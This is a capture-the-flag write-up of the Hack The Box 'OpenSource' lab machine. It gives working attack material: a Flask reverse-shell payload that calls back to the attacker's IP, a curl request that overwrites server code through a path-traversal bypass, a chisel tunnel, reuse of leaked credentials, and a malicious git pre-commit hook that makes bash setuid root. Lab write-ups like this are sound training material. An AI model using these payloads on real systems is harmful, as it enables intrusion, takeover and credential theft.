Skip to main content
K4oS writeups

OpenSource – HacktheBox

K4oS 3 years ago

IP -> 10.10.11.164

First we run a nmap scan: “nmap -p- -v -sCV 10.10.11.164”

22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 08 Jun 2022 14:54:42 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 08 Jun 2022 14:54:42 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-title: upcloud - Upload files for Free!
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=6/8%Time=62A0B832%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Py
SF:thon/3\.10\.3\r\nDate:\x20Wed,\x2008\x20Jun\x202022\x2014:54:42\x20GMT\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x205
SF:316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20\
SF:x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\
SF:"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n
SF:\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!<
SF:/title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jquer
SF:y-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stati
SF:c/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script\
SF:x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\x
SF:20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround\
SF:.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=
SF:\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<lin
SF:k\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boot
SF:strap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hre
SF:f=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20\
SF:x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\n
SF:Server:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Wed,\x2008\x
SF:20Jun\x202022\x2014:54:42\x20GMT\r\nContent-Type:\x20text/html;\x20char
SF:set=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OPTIONS\r\nContent-Length:\x200
SF:\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equi
SF:v=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20
SF:</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Er
SF:ror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:
SF:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20requ
SF:est\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20B
SF:ad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\
SF:x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see that this computer is running ssh on port 22, HTTP on port 80, and some other service on port 3000. The fact that it says it’s filtered means that is behind a firewall of some type. We’ll keep this in mind for the future.

Now let’s access the website:

Seems like we can download a zip file! Let’s download it and check its contents.

$ ls -la
total 2464
drwxr-xr-x 5 javier javier    4096 May 30 16:12 .
drwxr-xr-x 7 javier javier    4096 May 30 18:13 ..
drwxrwxr-x 5 javier javier    4096 May 30 16:12 app
-rwxr-xr-x 1 javier javier     110 Apr 28 12:40 build-docker.sh
drwxr-xr-x 2 javier javier    4096 May 30 16:12 config
-rw-r--r-- 1 javier javier     592 May 30 16:12 Dockerfile
drwxrwxr-x 8 javier javier    4096 Jun  8 16:08 .git
-rw-r--r-- 1 javier javier 2489147 May 30 13:41 source.zip

A .git directory! Let’s check branches.

$ git branch
  dev
* public

We have two branches: Dev and public. Let’s switch!

$ git checkout dev
Switched to branch 'dev'
$ git branch
* dev
  public

Now that we changed branches successfully let’s see the past commits.

$ git log -p
.....
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
-  "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
-  "http.proxyStrictSSL": false
-}

comm...

Looks like it configured a proxy in the past! And we got credentials for a user dev01 with password Soulless_Developer#2022.

Inspecting the code we find this running in the /upcloud endpoint:

@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

Let’s analyse the function get_file_name:

def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

We can see that what it does is get the filename and recursively replaces ../ with nothing to avoid path traversal.

Let’s inspect what happens when we upload a file.

POST /upcloud HTTP/1.1
Host: 10.10.11.164
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------304619959335049392541602554925
Content-Length: 238
Origin: http://10.10.11.164
Connection: keep-alive
Referer: http://10.10.11.164/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

-----------------------------304619959335049392541602554925
Content-Disposition: form-data; name="file"; filename="text"
Content-Type: application/octet-stream

Example

-----------------------------304619959335049392541602554925--

The code filters the filename inside the request payload. If we set it to ..//file.txt it will remove ../ and leave us with /file.txt, therefore allowing us to write to any folder. Let’s copy the original code from the website and edit it a little bit to add our own route that executes a reverse shell.

import socket, subprocess, os, pty
from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/')
def index():
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.10.14.103",1234))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    pty.spawn("sh")
    return render_template('index.html')

@app.route('/K4oS')
def K4oS():
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.10.14.103",1234))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    pty.spawn("sh")
    return True


@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))


@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

I added the shells in another endpoint /K4oS and the main path just in case. I wrote a little script that sends the file, overwriting the code and allowing us to get a reverse shell.

curl -i -s -k -X $'POST' \
    -H $'Host: 10.10.11.164' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------291095438030961394332225371557' -H $'Content-Length: 1594' -H $'Origin: http://10.10.11.164' -H $'Connection: close' -H $'Referer: http://10.10.11.164/upcloud' -H $'Upgrade-Insecure-Requests: 1' \
    --data-binary $'-----------------------------291095438030961394332225371557\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"..//app/app/views.py\"\x0d\x0aContent-Type: text/x-python\x0d\x0a\x0d\x0aimport socket, subprocess, os, pty\x0afrom app.utils import get_file_name\x0afrom flask import render_template, request, send_file\x0a\x0afrom app import app\x0a\x0a\[email protected](\'/\')\x0adef index():\x0a    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\x0a    s.connect((\"10.10.14.103\",1234))\x0a    os.dup2(s.fileno(),0)\x0a    os.dup2(s.fileno(),1)\x0a    os.dup2(s.fileno(),2)\x0a    pty.spawn(\"sh\")\x0a    return render_template(\'index.html\')\x0a\[email protected](\'/K4oS\')\x0adef K4oS():\x0a    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\x0a    s.connect((\"10.10.14.103\",1234))\x0a    os.dup2(s.fileno(),0)\x0a    os.dup2(s.fileno(),1)\x0a    os.dup2(s.fileno(),2)\x0a    pty.spawn(\"sh\")\x0a    return True\x0a\x0a\[email protected](\'/download\')\x0adef download():\x0a    return send_file(os.path.join(os.getcwd(), \"app\", \"static\", \"source.zip\"))\x0a\x0a\[email protected](\'/upcloud\', methods=[\'GET\', \'POST\'])\x0adef upload_file():\x0a    if request.method == \'POST\':\x0a        f = request.files[\'file\']\x0a        file_name = get_file_name(f.filename)\x0a        file_path = os.path.join(os.getcwd(), \"public\", \"uploads\", file_name)\x0a        f.save(file_path)\x0a        return render_template(\'success.html\', file_url=request.host_url + \"uploads/\" + file_name)\x0a    return render_template(\'upload.html\')\x0a\x0a\[email protected](\'/uploads/<path:path>\')\x0adef send_report(path):\x0a    path = get_file_name(path)\x0a    return send_file(os.path.join(os.getcwd(), \"public\", \"uploads\", path))\x0a\x0d\x0a-----------------------------291095438030961394332225371557--\x0d\x0a' \
    $'http://10.10.11.164/upcloud'

Now we can access the site and get a reverse shell!

nc -lvnp 1234
Connection from 10.10.11.164:59092
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

It may look like we are root and the room is finished, but inspecting further you will find we are in a docker container.

/app # ls -la /
total 72
drwxr-xr-x    1 root     root          4096 Jun  8 15:56 .
drwxr-xr-x    1 root     root          4096 Jun  8 15:56 ..
-rwxr-xr-x    1 root     root             0 Jun  8 15:56 .dockerenv
drwxr-xr-x    1 root     root          4096 May  4 16:35 app
drwxr-xr-x    1 root     root          4096 Mar 17 05:52 bin
drwxr-xr-x    5 root     root           340 Jun  8 15:56 dev
drwxr-xr-x    1 root     root          4096 Jun  8 15:56 etc
drwxr-xr-x    2 root     root          4096 May  4 16:35 home
drwxr-xr-x    1 root     root          4096 May  4 16:35 lib
drwxr-xr-x    5 root     root          4096 May  4 16:35 media
drwxr-xr-x    2 root     root          4096 May  4 16:35 mnt
drwxr-xr-x    2 root     root          4096 May  4 16:35 opt
dr-xr-xr-x  252 root     root             0 Jun  8 15:56 proc
drwx------    1 root     root          4096 Jun  8 15:56 root
drwxr-xr-x    1 root     root          4096 Jun  8 15:56 run
drwxr-xr-x    1 root     root          4096 Mar 17 05:52 sbin
drwxr-xr-x    2 root     root          4096 May  4 16:35 srv
dr-xr-xr-x   13 root     root             0 Jun  8 15:56 sys
drwxrwxrwt    1 root     root          4096 Jun  8 15:56 tmp
drwxr-xr-x    1 root     root          4096 May  4 16:35 usr
drwxr-xr-x    1 root     root          4096 May  4 16:35 var

The .dockerenv in the root tells us we are in a docker container. Remember the port that was behind a firewall? Let’s use chisel to forward that port remotely. I downloaded a static chisel binary and did the following. “$” Represents our hacking pc and “#” what is being ran in the reverse shell.

$ ./chisel server -p 1234 --reverse
# ./chisel client 10.10.14.103:1234 R:3000:10.10.11.164:3000

And now when we access http://127.0.0.1:3000 we get this:

Let’s try to log in with the credentials we found earlier “dev01:Soulless_Developer#2022

Got it! So now let’s try accessing the local backup repository:

.ssh? Do we have an id_rsa?

Yes! Now let’s download the file and login as dev01

$ ssh -i dev01_idrsa [email protected]
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 2.0


16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)

Let’s start enumerating! Let’s check for sudo permission, setuids and crontab.

dev01@opensource:~$ sudo -l
[sudo] password for dev01: Soulless_Developer#2022
Sorry, user dev01 may not run sudo on opensource.
dev01@opensource:~$ find / -perm -4000 2>/dev/null
/snap/snapd/15177/usr/lib/snapd/snap-confine
/snap/snapd/15534/usr/lib/snapd/snap-confine
/snap/core18/2344/bin/mount
/snap/core18/2344/bin/ping
/snap/core18/2344/bin/su
/snap/core18/2344/bin/umount
/snap/core18/2344/usr/bin/chfn
/snap/core18/2344/usr/bin/chsh
/snap/core18/2344/usr/bin/gpasswd
/snap/core18/2344/usr/bin/newgrp
/snap/core18/2344/usr/bin/passwd
/snap/core18/2344/usr/bin/sudo
/snap/core18/2344/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2344/usr/lib/openssh/ssh-keysign
/bin/fusermount
/bin/umount
/bin/mount
/bin/su
/bin/ping
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chfn
dev01@opensource:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Let’s now run pspy64 to check if there are any cronjobs running that we can’t see:

...
2022/06/08 16:33:01 CMD: UID=0    PID=31893  | /bin/bash /usr/local/bin/git-sync
...

So periodically /usr/local/bin/git-sync is getting executed. Let’s check what is inside the file.

#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

So this script is backing up the user’s home directory. But when they commit we can set a custom hook to execute commands before the commit since we own the git repository.
Let’s edit pre-commit.sample and rename it to pre-commit

#!/bin/sh
chmod +s /bin/bash
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments.  The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "pre-commit".

if git rev-parse --verify HEAD >/dev/null 2>&1
then
	against=HEAD
else
	# Initial commit: diff against an empty tree object
	against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi

# If you want to allow non-ASCII filenames set this variable to true.
allownonascii=$(git config --bool hooks.allownonascii)

# Redirect output to stderr.
exec 1>&2

# Cross platform projects tend to avoid non-ASCII filenames; prevent
# them from being added to the repository. We exploit the fact that the
# printable range starts at the space character and ends with tilde.
if [ "$allownonascii" != "true" ] &&
	# Note that the use of brackets around a tr range is ok here, (it's
	# even required, for portability to Solaris 10's /usr/bin/tr), since
	# the square bracket bytes happen to fall in the designated range.
	test $(git diff --cached --name-only --diff-filter=A -z $against |
	  LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
then
	cat <<\EOF
Error: Attempt to add a non-ASCII file name.

This can cause problems if you want to work with people on other platforms.

To be portable it is advisable to rename the file.

If you know what you are doing you can disable this check using:

  git config hooks.allownonascii true
EOF
	exit 1
fi

# If there are whitespace errors, print the offending file names and fail.
exec git diff-index --check --cached $against --

Now let’s wait for the backup to happen and we should see the setUID being set in /bin/bash.

dev01@opensource:~/.git/hooks$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
dev01@opensource:~/.git/hooks$ bash -p
bash-4.4# id
uid=1000(dev01) gid=1000(dev01) euid=0(root) egid=0(root) groups=0(root),1000(dev01)
bash-4.4# cat /root/root.txt
79ffa2f43b625e8...

I hope you enjoyed the writeup!